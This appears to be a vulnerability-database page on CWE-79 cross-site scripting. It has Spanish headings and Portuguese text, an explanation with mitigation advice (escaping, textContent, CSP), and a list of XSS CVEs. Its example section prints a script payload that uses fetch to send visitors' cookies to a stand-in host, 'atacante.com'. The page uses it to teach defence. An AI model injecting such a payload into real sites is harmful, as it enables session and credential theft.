Fallos del tipo CWE-79

29.607 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-47067MEDIUMAlist Contains a Reflected Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-24906HIGHDell Secure Connect Gateway (SCG) Policy Manager, all versions, contain(s) a Stored Cross-Site Scripting Vulnerability in Policy page. An adEPSS 0.4%CVE-2026-108834MEDIUMCairo-dock Glx-Dock Query Parameter ww_page.php cross site scriptingEPSS 0.4%CVE-2024-51091MEDIUMCross Site Scripting vulnerability in seajs v.2.2.3 allows a remote attacker to execute arbitrary code via the seajs packageEPSS 0.4%CVE-2024-41514MEDIUMA reflected cross-site scripting (XSS) vulnerability in "PrevPgGroup.aspx" in CADClick v1.11.0 and before allows remote attackers to inject EPSS 0.4%CVE-2023-27089HIGHCross Site Scripting vulnerability found in Ehuacui BBS allows attackers to cause a denial of service via a crafted payload in the login parEPSS 0.4%CVE-2024-1463MEDIUMLearnPress <= 4.2.6.3 - Authenticated(LP Instructor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-41515MEDIUMA reflected cross-site scripting (XSS) vulnerability in "ccHandlerResource.ashx" in CADClick <= 1.11.0 allows remote attackers to inject arbEPSS 0.4%CVE-2024-1571MEDIUMWP Recipe Maker <= 9.2.1 - Authenticated Stored Cross-Site Scripting via Video EmbedEPSS 0.4%CVE-2022-43754LOWSUMA/UYUNI reflected cross site scripting in /rhn/audit/scap/Search.doEPSS 0.4%CVE-2023-4773MEDIUMWordPress Social Login <= 3.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-38506HIGHCross-site Scripting (XSS) when pasting HTML into the rich text editor in JoplinEPSS 0.4%CVE-2022-39020HIGHCross-site scripting in Schoolbox version 21.0.2, by Schoolbox Pty LtdEPSS 0.4%CVE-2024-46209MEDIUMA stored cross-site scripting (XSS) vulnerability in the component /media/test.html of REDAXO CMS v5.17.1 allows attackers to execute arbitrEPSS 0.4%CVE-2026-3907MEDIUMHostel <= 1.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wphostel-book' ShortcodeEPSS 0.4%CVE-2024-41516MEDIUMA Reflected cross-site scripting (XSS) vulnerability in "ccHandler.aspx" CADClick <= 1.11.0 allows remote attackers to inject arbitrary web EPSS 0.4%CVE-2022-42119MEDIUMCertain Liferay products are vulnerable to Cross Site Scripting (XSS) via the Commerce module. This affects Liferay Portal 7.3.5 through 7.4EPSS 0.4%CVE-2023-30435HIGHIBM Security Guardium cross-site scriptingEPSS 0.4%CVE-2024-24907HIGHDell Secure Connect Gateway (SCG) Policy Manager, all versions, contain(s) a Stored Cross-Site Scripting Vulnerability in the Filters page. EPSS 0.4%CVE-2025-2583MEDIUMSimpleMachines SMF ManageNews.php cross site scriptingEPSS 0.4%